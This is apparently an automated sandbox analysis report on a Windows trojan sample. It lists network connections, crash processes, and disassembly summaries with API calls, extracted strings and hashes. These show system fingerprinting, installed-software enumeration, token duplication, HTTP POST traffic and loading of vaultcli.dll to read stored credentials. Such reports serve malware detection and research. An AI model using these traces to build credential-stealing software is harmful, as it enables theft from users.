Feb 23, 2021 10:03:27.260934114 CET	104.21.50.15	443	192.168.2.6	49745	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		ce5f3254611a8c095a3d821d44539877
Feb 23, 2021 10:04:36.629321098 CET	104.21.50.15	443	192.168.2.6	49769	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=California, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Thu Feb 11 01:00:00 CET 2021 Mon Jan 27 13:48:08 CET 2020	Fri Feb 11 00:59:59 CET 2022 Wed Jan 01 00:59:59 CET 2025	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0	ce5f3254611a8c095a3d821d44539877
Feb 23, 2021 10:04:36.629321098 CET	104.21.50.15	443	192.168.2.6	49769	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		ce5f3254611a8c095a3d821d44539877
Feb 23, 2021 10:04:51.435352087 CET	172.67.199.58	443	192.168.2.6	49773	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=California, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Thu Feb 11 01:00:00 CET 2021 Mon Jan 27 13:48:08 CET 2020	Fri Feb 11 00:59:59 CET 2022 Wed Jan 01 00:59:59 CET 2025	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0	ce5f3254611a8c095a3d821d44539877
Feb 23, 2021 10:04:51.435352087 CET	172.67.199.58	443	192.168.2.6	49773	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		ce5f3254611a8c095a3d821d44539877

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe PID: 7140 Parent PID: 5976

General

Start time:	10:02:24
Start date:	23/02/2021
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe'
Imagebase:	0x400000
File size:	555520 bytes
MD5 hash:	060BD14AE501D8DAE94CC73672AB195B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: WerFault.exe PID: 976 Parent PID: 7140

General

Start time:	10:02:26
Start date:	23/02/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 764
Imagebase:	0xe40000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 1984 Parent PID: 7140

General

Start time:	10:02:34
Start date:	23/02/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 764
Imagebase:	0xe40000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 6312 Parent PID: 7140

General

Start time:	10:02:43
Start date:	23/02/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 908
Imagebase:	0xe40000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 6692 Parent PID: 7140

General

Start time:	10:02:51
Start date:	23/02/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 880
Imagebase:	0xe40000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 6456 Parent PID: 7140

General

Start time:	10:03:02
Start date:	23/02/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 952
Imagebase:	0xe40000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 6408 Parent PID: 7140

General

Start time:	10:03:13
Start date:	23/02/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 1200
Imagebase:	0xe40000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 5664 Parent PID: 7140

General

Start time:	10:03:28
Start date:	23/02/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 1340
Imagebase:	0xe40000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 5472 Parent PID: 7140

General

Start time:	10:03:46
Start date:	23/02/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 1316
Imagebase:	0xe40000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe PID: 7140 Parent PID: 5976 SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exeCOMMON

Executed Functions

Function 0042693B, Relevance: 238.7, APIs: 39, Strings: 91, Instructions: 11226threadsleepsynchronizationCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00426961

Part of subcall function 004353D7: OpenMutexA.KERNEL32 ref: 00435426
Part of subcall function 004353D7: CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 00435433

CoUninitialize.OLE32(?,00000000), ref: 004321BE

Part of subcall function 0043807C: GetCurrentProcess.KERNEL32(00000008,?), ref: 0043808E
Part of subcall function 0043807C: OpenProcessToken.ADVAPI32(00000000), ref: 00438095
Part of subcall function 0043807C: GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 004380AF
Part of subcall function 0043807C: GetLastError.KERNEL32 ref: 004380B9
Part of subcall function 0043807C: GlobalAlloc.KERNEL32(00000040,00000000), ref: 004380C9
Part of subcall function 0043807C: GetTokenInformation.KERNELBASE(?,TokenIntegrityLevel,00000000,00000000,00000000), ref: 004380DD
Part of subcall function 0043807C: ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 004380F1
Part of subcall function 0043807C: GlobalFree.KERNEL32 ref: 00438111

GetUserDefaultLCID.KERNEL32(00001001,?,000000FF), ref: 004269A5
GetLocaleInfoA.KERNEL32(00000000), ref: 004269AC

Part of subcall function 00438121: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00438185
Part of subcall function 00438121: Process32FirstW.KERNEL32(00000000,0000022C), ref: 0043819F
Part of subcall function 00438121: OpenProcess.KERNEL32(001FFFFF,00000000,?,?,?,00000000), ref: 00438213
Part of subcall function 00438121: OpenProcessToken.ADVAPI32(00000000,000F01FF,?,?,?,00000000), ref: 00438225
Part of subcall function 00438121: DuplicateTokenEx.ADVAPI32(?,000F01FF,00000000,00000002,00000001,?,?,?,00000000), ref: 00438240
Part of subcall function 00438121: CloseHandle.KERNEL32(?,?,?,00000000), ref: 0043824D
Part of subcall function 00438121: GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,00000000), ref: 00438260

Part of subcall function 00433544: WinHttpOpen.WINHTTP(00000000,00000000,00000000,00000000,00000000,?,004792FB,00000000), ref: 00433592
Part of subcall function 00433544: WinHttpConnect.WINHTTP(00000000,00000000,000001BB,00000000,?,?,?,?,004792FB,00000000), ref: 0043365F

Part of subcall function 0040FFFF: _Deallocate.LIBCONCRT ref: 00410014

Part of subcall function 0041021C: _Deallocate.LIBCONCRT ref: 0041022B

Sleep.KERNEL32(00001388,0048A694,00000000,004792FB), ref: 00426F21
GetUserNameA.ADVAPI32(?,00000101), ref: 00427261

Part of subcall function 00434ACB: _strcat.LIBCMT ref: 00434B28

_strlen.LIBCMT ref: 004274FF
_strlen.LIBCMT ref: 00427519
CreateThread.KERNEL32 ref: 0042776E
CreateThread.KERNEL32 ref: 00427780
CreateThread.KERNEL32 ref: 00427792
CreateThread.KERNEL32 ref: 004277A4
CreateThread.KERNEL32 ref: 004277B6
CreateThread.KERNEL32 ref: 004277C8
CreateThread.KERNEL32 ref: 004277DA
CreateThread.KERNEL32 ref: 004277EC
CreateThread.KERNEL32 ref: 004279F5
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00427A02

Part of subcall function 00434F64: GetEnvironmentVariableA.KERNEL32(?,?,00000104,00000000), ref: 00434FAE

Part of subcall function 0043391A: WinHttpOpen.WINHTTP(00000000,00000000,00000000,00000000,00000000,00489F14,0000000F,00489E24), ref: 00433957
Part of subcall function 0043391A: CreateFileA.KERNEL32(?,C0000000,00000001,00000000,00000002,00000080,00000000), ref: 0043397B
Part of subcall function 0043391A: WinHttpConnect.WINHTTP(?,00000000,000001BB,00000000,?,00000001,00000000,00000002,00000080,00000000), ref: 00433A44

Strings

9, xrefs: 004305A9
', xrefs: 0042B82E
A, xrefs: 0042FC7E
U, xrefs: 00429B6A
], xrefs: 004317BB
e, xrefs: 0042FDEF
1, xrefs: 0042A492
[9f, xrefs: 00427229
H, xrefs: 0042906B
bde707d7953695af31e3d34799e20259 , xrefs: 00426CC0
J, xrefs: 0042897C
f,, xrefs: 00427094
v, xrefs: 00431DAE
%, xrefs: 00427CF1
<, xrefs: 0042B245
%, xrefs: 00427DED
Z, xrefs: 00428153
:x_V, xrefs: 00426A69
#hBYBHK, xrefs: 00426AE6
C, xrefs: 0042920D
?43;, xrefs: 00426B6D
_id, xrefs: 00430A39
?, xrefs: 00431EF0
GET, xrefs: 00426EC2, 00426F42
, xrefs: 0042F4B9
9, xrefs: 00429D05
s, xrefs: 0042A309
F, xrefs: 00426C74
Z, xrefs: 00431CE2
+, xrefs: 00429642
t, xrefs: 00431957
D, xrefs: 00431B8E
b, xrefs: 0042CEFE
l, xrefs: 0042A6C7
:, xrefs: 00428022
9, xrefs: 0042A0D5
1, xrefs: 00430D1C
-, xrefs: 00431A5A
sq, xrefs: 00426BC6
oDRPR/qyPXZetKiNm8xCvM4HV+abH8KqmsQH407CEeUKXR0bgHIaPg== , xrefs: 00426CAD
(, xrefs: 0042BDA9
9, xrefs: 00428834
F, xrefs: 0042BB1B
", xrefs: 0042F014
w, xrefs: 0042C4AC
=, xrefs: 00430A9B
2USF, xrefs: 004270DC
POST, xrefs: 004273BE
y, xrefs: 0042CD67
$*, xrefs: 00426C1B
D, xrefs: 0042AD70
Qw7l;">?, xrefs: 00427347
87, xrefs: 00426A20
$, xrefs: 0042D1E7
'9:, xrefs: 00426B1D
_, xrefs: 00431751
O, xrefs: 00430280
8070, xrefs: 00426A14
`, xrefs: 00428AD8
K, xrefs: 0042833E
+, xrefs: 00429F4C
M, xrefs: 0042B0F5
E, xrefs: 0042D5FC
qSVdAbi/K2pP9eTPjNld5MgaC4jYStGmxJQDv0qNUdsI , xrefs: 00426C97
., xrefs: 0042930F
G, xrefs: 0042B40F
T, xrefs: 00428C4E
b, xrefs: 00428F18
], xrefs: 0042FAC6
$, xrefs: 00428DB8
f, xrefs: 00427BBF
S[T, xrefs: 00426A7F
4, xrefs: 00426B79
[HOI, xrefs: 00426A73
W, xrefs: 004297D7
a, xrefs: 00430076
~, xrefs: 0042F28A
y, xrefs: 0042C643
*, xrefs: 0042E0DA
0, xrefs: 0042ABC0
{, xrefs: 0042AA83
?, xrefs: 0042B6C4
v, xrefs: 0042EAC5
], xrefs: 00427E65
Y, xrefs: 0042D444
O, xrefs: 0042BFC8
m, xrefs: 0042C92C
-, xrefs: 0042BEDC
u, xrefs: 0042D9E8
a, xrefs: 004310D9
i, xrefs: 004298E7

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Create$Thread$Open$Token$HttpProcess$ConnectDeallocateFileGlobalInformationMutexNameUser_strlen$AllocCloseConvertCurrentDefaultDuplicateEnvironmentErrorFirstFreeHandleInfoInitializeLastLocaleModuleObjectProcess32SingleSleepSnapshotStringToolhelp32UninitializeVariableWait_strcat
String ID: $"$#hBYBHK$$$$$$*$%$%$'$'9:$($*$+$+$-$-$.$0$1$1$2USF$4$8070$87$9$9$9$9$:$:x_V$<$=$?$?$?43;$A$C$D$D$E$F$F$G$GET$H$J$K$M$O$O$POST$Qw7l;">?$S[T$T$U$W$Y$Z$Z$[9f$[HOI$]$]$]$_$_id$`$a$a$b$b$bde707d7953695af31e3d34799e20259 $e$f$f,$i$l$m$oDRPR/qyPXZetKiNm8xCvM4HV+abH8KqmsQH407CEeUKXR0bgHIaPg== $qSVdAbi/K2pP9eTPjNld5MgaC4jYStGmxJQDv0qNUdsI $s$sq$t$u$v$v$w$y$y${$~
API String ID: 3687077892-893036447
Opcode ID: b0be2c8c90a8eea66f224f7b83182bcfc688c087572da3487b138b9d5b21cb93
Instruction ID: 76245fab467d042c0533ae5d0a73a902bbcaf8909df43b4d7a41cbc081f5a859
Opcode Fuzzy Hash: b0be2c8c90a8eea66f224f7b83182bcfc688c087572da3487b138b9d5b21cb93
Instruction Fuzzy Hash: 95347D31D092A89ADB25EB669C62FDDBB705F25304F4400DEA549372C3DA785BC8CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 00435576, Relevance: 93.8, APIs: 37, Strings: 16, Instructions: 1081registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00434F64: GetEnvironmentVariableA.KERNEL32(?,?,00000104,00000000), ref: 00434FAE

Part of subcall function 00434ACB: _strcat.LIBCMT ref: 00434B28

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?,00000000,0000000A,?,?,?,00000000,0048B7D0,00437CCF,00000000,00000012,00000040), ref: 0043566F
RegCloseKey.ADVAPI32(?,?,?,?,00000000,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 0043567C
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004356A4
RegEnumKeyExW.KERNEL32(?,00000000,?,00757955,00000000,00000000,00000000,00000000,?,?,?,00000000,0048B7D0,00437CCF,00000000,00000012), ref: 004356F0
wsprintfW.USER32 ref: 00435718
RegOpenKeyExW.KERNEL32(80000002,?,00000000,00020019,?,?,?,?,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 00435737
RegQueryValueExA.KERNEL32(?,?,00000000,000F003F,?,00000800,?,?,?,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 004357B0
RegQueryValueExA.KERNEL32(?,?,00000000,000F003F,?,00000800,?,?,?,00000001,?,00000000,?), ref: 00435939
RegCloseKey.ADVAPI32(?,?,?,?,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 00435A06
RegCloseKey.ADVAPI32(?,?,?,?,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 00435A28
RegCloseKey.ADVAPI32(?,?,?,?,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 00435A31
RegCloseKey.ADVAPI32(?,?,?,?,00000000,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 00435A3A
RegOpenKeyExW.KERNEL32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?,?,?,?,00000000,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 00435A55
RegEnumKeyExW.KERNEL32(?,00000000,?,00000800,00000000,00000000,00000000,00000000,?,?,?,00000000,0048B7D0,00437CCF,00000000,00000012), ref: 00435A83
wsprintfW.USER32 ref: 00435AAB
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00020019,?,?,?,?,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 00435ACA
RegQueryValueExA.ADVAPI32(?,?,00000000,000F003F,?,00000800,?,?,?,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 00435B43
RegQueryValueExA.ADVAPI32(?,?,00000000,000F003F,?,00000800,?,00000001,?,00000001,?,00000000,?), ref: 00435CC8
RegCloseKey.ADVAPI32(?,?,?,?,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 00435D94
RegCloseKey.ADVAPI32(?,?,?,?,00000000,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 00435DBA
RegOpenKeyExW.KERNEL32(80000003,0047E888,00000000,00020019,?,?,?,?,00000000,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 00435DD4
RegCloseKey.ADVAPI32(?,?,?,?,00000000,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 00435DE4
RegCloseKey.ADVAPI32(?,?,?,?,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 00435DF4
RegCloseKey.ADVAPI32(?,?,?,?,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 00435DF9
RegEnumKeyExW.KERNEL32(?,00000001,?,00000800,00000000,00000000,00000000,00000000,?,?,?,00000000,0048B7D0,00437CCF,00000000,00000012), ref: 00435E21
wsprintfW.USER32 ref: 00435E4C
RegOpenKeyExW.KERNEL32(80000003,?,00000000,00020019,?,?,?,?,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 00435E6E
RegCloseKey.ADVAPI32(?,?,?,?,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 00435E7E
RegEnumKeyExW.KERNEL32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0048B7D0,00437CCF,00000000,00000012,00000040), ref: 00435EBE
wsprintfW.USER32 ref: 00435EEE
RegOpenKeyExW.ADVAPI32(80000003,?,00000000,00020019,00000073,?,?,?,?,?,?,?,?,00437CCF,00000000,00000012), ref: 00435F10
RegCloseKey.ADVAPI32(00000073,?,?,?,?,?,?,?,?,00437CCF,00000000,00000012,00000040,00000001), ref: 00435F20
RegQueryValueExA.ADVAPI32(00000073,,;-w,00000000,000F003F,?,00000800,?,?,?,?,?,?,?,?,00437CCF,00000000), ref: 00435F9B
RegQueryValueExA.ADVAPI32(00000073,797C6F0C,00000000,000F003F,?,00000800,?,00000001,?,00000001,?,00000000,?), ref: 00436129
RegCloseKey.ADVAPI32(00000073,?,?,?,?,?,?,?,?,00437CCF,00000000,00000012,00000040,00000001), ref: 0043620A
RegCloseKey.ADVAPI32(?,?,?,?,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 00436230
RegCloseKey.ADVAPI32(?,?,?,?,00000000,0048B7D0,00437CCF,00000000,00000012,00000040,00000001), ref: 00436433

Strings

d3, xrefs: 00435C29
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00435641, 00435707, 00435A4B, 00435A9A, 00435E34
4|?4u1<14IOOOOOOOOOOOOO, xrefs: 00436057, 0043601D, 004360CE, 00436210, 004361BE, 004361F2, 00436095, 00435FD5
-, xrefs: 00436371
^~=1,;-w, xrefs: 00435C9C, 0043590D
%s\%s, xrefs: 00435712, 00435AA5, 00435E46, 00435EE8
.xG][OB, xrefs: 00435858
6sRQS, xrefs: 004358D7
?+&, xrefs: 00436036
/)?>s?, xrefs: 00436307
cCKKG, xrefs: 0043598D
4, xrefs: 004355F3
1uXB, xrefs: 00435AFD
Z34>5-), xrefs: 00436087
*gCIXEYEL^, xrefs: 0043600F
?, xrefs: 0043562A

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Close$Open$QueryValue$Enumwsprintf$EnvironmentIos_base_dtorVariable_strcatstd::ios_base::_
String ID: %s\%s$*gCIXEYEL^$-$.xG][OB$/)?>s?$1uXB$4$4|?4u1<14IOOOOOOOOOOOOO$6sRQS$?$?+&$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall$Z34>5-)$^~=1,;-w$cCKKG$d3
API String ID: 2385164068-3357818002
Opcode ID: bdc059a1c4080b4720377e66eeb8c19b0151296a68ba390e2da5488a8fad685d
Instruction ID: 27130e2d62b06861e5dba6df664f4e9f654584a77dc38629b4ecde2ab2a75061
Opcode Fuzzy Hash: bdc059a1c4080b4720377e66eeb8c19b0151296a68ba390e2da5488a8fad685d
Instruction Fuzzy Hash: 47A2F470C0429DDEDF25DBA4CC85BEEBBB4AF19304F1041AEE449B7281DB744A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00436ACF, Relevance: 92.2, APIs: 12, Strings: 40, Instructions: 1161COMMON

Download Yara Rule

APIs

Part of subcall function 00436680: RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020119,?,?,?,00000000), ref: 00436726
Part of subcall function 00436680: RegQueryValueExA.KERNEL32(?,?,00000000,00000000,?,?,?,?,00000000), ref: 00436772
Part of subcall function 00436680: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 0043677B

_strftime.LIBCMT ref: 00436C01
GetUserDefaultLCID.KERNEL32(00001001,?,00000100,?,?,?,?,?), ref: 00436C29
GetLocaleInfoA.KERNEL32(00000000), ref: 00436C30
GetUserNameA.ADVAPI32(?,?), ref: 00436E7C
GetComputerNameA.KERNEL32(?,00000101), ref: 00437516
GetUserNameA.ADVAPI32(00000001,00000101), ref: 00437590
GetSystemInfo.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,00000000,00000012,00000040,00000001), ref: 004378B8
GlobalMemoryStatusEx.KERNEL32(?,?,?,00000000,00000012,00000040,00000001), ref: 004379A2
GetSystemMetrics.USER32 ref: 00437B37
GetSystemMetrics.USER32 ref: 00437B5F
EnumDisplayDevicesA.USER32(00000000,00000000,?,00000000), ref: 00437BE9
EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000000), ref: 00437C43

Strings

/)?>, xrefs: 00437A73
,Je`, xrefs: 00437116
4|?4, xrefs: 00436BAD
hr, xrefs: 004376A8
s, xrefs: 00437A7D
y, xrefs: 00437B91
-J@Y, xrefs: 00436E05
@, xrefs: 00437997
u1<1, xrefs: 00436BB7
fkz~ez, xrefs: 00436F76
+1, xrefs: 004371F1
KG, xrefs: 0043737C
Mxyr, xrefs: 00437257
Sun Jan 10 14:58:01 2021, xrefs: 00436CC7
Uyu, xrefs: 00437421
GEI_, xrefs: 00437052
)$/", xrefs: 00436D7C
N, xrefs: 004375D1
R, xrefs: 00437A0D
4I, xrefs: 00436BC3
OOOOOOOOOOOOO, xrefs: 00437C91
bOOOOOOOOOOOOO, xrefs: 00437008
-7, xrefs: 00437261
noya~ez, xrefs: 00436FA0
TN :, xrefs: 004375C7
FAFO, xrefs: 00436EF6
&3, xrefs: 00436D95
h, xrefs: 00437491
^~=1,;-w, xrefs: 00437929
)?2L, xrefs: 00436E30
V, xrefs: 00436E37
78, xrefs: 00437A02
Nnnc, xrefs: 004372DA
* &0, xrefs: 00437B87
(z]F, xrefs: 00436EEA
dpvt, xrefs: 004371E7
n, xrefs: 004372EA
#, xrefs: 00436D86
}, xrefs: 00436D9E
]DEX, xrefs: 00437AEA

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: NameSystemUser$DevicesDisplayEnumInfoMetrics$CloseComputerDefaultGlobalLocaleMemoryOpenQueryStatusValue_strftime
String ID: -J@Y$#$&3$(z]F$)$/"$)?2L$* &0$+1$,Je`$-7$/)?>$4I$4|?4$78$@$FAFO$GEI_$KG$Mxyr$N$Nnnc$OOOOOOOOOOOOO$R$Sun Jan 10 14:58:01 2021$TN :$Uyu$V$]DEX$^~=1,;-w$bOOOOOOOOOOOOO$dpvt$fkz~ez$h$hr$n$noya~ez$s$u1<1$y$}
API String ID: 1213798713-4244590893
Opcode ID: 1e0eb58094e47ace226189d2ddb916c5062abe28b8a6f4b6876a7a3f7aab2093
Instruction ID: 27e76a53a365db24bd315ebfc6ea00851952acbc451326d0611dc4ca1dc28b09
Opcode Fuzzy Hash: 1e0eb58094e47ace226189d2ddb916c5062abe28b8a6f4b6876a7a3f7aab2093
Instruction Fuzzy Hash: C4B2F670A082988ACF29DB74C8517EDBB71AF59304F0441EED4896B242EB785FC9CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042865E, Relevance: 72.7, APIs: 15, Strings: 25, Instructions: 2707COMMON

Download Yara Rule

Strings

D, xrefs: 0042AD70
U, xrefs: 00429B6A
1, xrefs: 0042A492
H, xrefs: 0042906B
J, xrefs: 0042897C
<, xrefs: 0042B245
`, xrefs: 00428AD8
+, xrefs: 00429F4C
M, xrefs: 0042B0F5
C, xrefs: 0042920D
G, xrefs: 0042B40F
9, xrefs: 00429D05
s, xrefs: 0042A309
$, xrefs: 00428DB8
+, xrefs: 00429642
l, xrefs: 0042A6C7
W, xrefs: 004297D7
9, xrefs: 0042A0D5
6, xrefs: 0042865E
{, xrefs: 0042AA83
0, xrefs: 0042ABC0
?, xrefs: 0042B6C4
9, xrefs: 00428834
M, xrefs: 0042B6B3
i, xrefs: 004298E7

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: swprintf
String ID: $$+$+$0$1$6$9$9$9$<$?$C$D$G$H$J$M$M$U$W$`$i$l$s${
API String ID: 233258989-1919118480
Opcode ID: bb409484f37e4dadcb29c502a9e0b68287551bf61e8c3d6fec12b22c8701a10e
Instruction ID: 7f60053815742d1565e1e36c7cc42a1bd802dfdc658cc4f7432db2e2dc9f2b37
Opcode Fuzzy Hash: bb409484f37e4dadcb29c502a9e0b68287551bf61e8c3d6fec12b22c8701a10e
Instruction Fuzzy Hash: 17436A31D462A8AADB25EB629C52FDDBB705F25304F4400DEA559332C2DA785BC8CF1E

Uniqueness

Uniqueness Score: -1.00%

Function 0042495F, Relevance: 56.4, APIs: 28, Strings: 4, Instructions: 421stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 004249A7
LoadLibraryW.KERNEL32(vaultcli.dll), ref: 004249CB
GetProcAddress.KERNEL32(00000000,?), ref: 00424A18
GetProcAddress.KERNEL32(00000000,?), ref: 00424A54
GetProcAddress.KERNEL32(00000000,?), ref: 00424A8B
GetProcAddress.KERNEL32(00000000,?), ref: 00424AC6
GetProcAddress.KERNEL32(00000000,?), ref: 00424B03
GetProcAddress.KERNEL32(00000000,?), ref: 00424B3C
lstrlenW.KERNEL32(?), ref: 00424BFF
lstrcpyW.KERNEL32 ref: 00424C1A
lstrlenW.KERNEL32(?), ref: 00424C27
lstrcpyW.KERNEL32 ref: 00424C46
lstrlenW.KERNEL32(?), ref: 00424C53
lstrcpyW.KERNEL32 ref: 00424C77
lstrlenW.KERNEL32(?), ref: 00424CAB
lstrcpyW.KERNEL32 ref: 00424CCC
StrStrIW.SHLWAPI(?,Internet Explorer), ref: 00424DE3
lstrlenW.KERNEL32(00000000), ref: 00424DEE
lstrlenW.KERNEL32(?), ref: 00424DFE
FreeLibrary.KERNEL32(00000000), ref: 00424E8C

Strings

vaultcli.dll, xrefs: 004249C6
Internet Explorer, xrefs: 00424DDD
-{LXAYk_HH, xrefs: 00424B2E
BS[E, xrefs: 00424A69

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressProclstrlen$lstrcpy$Library$FreeLoadVersion
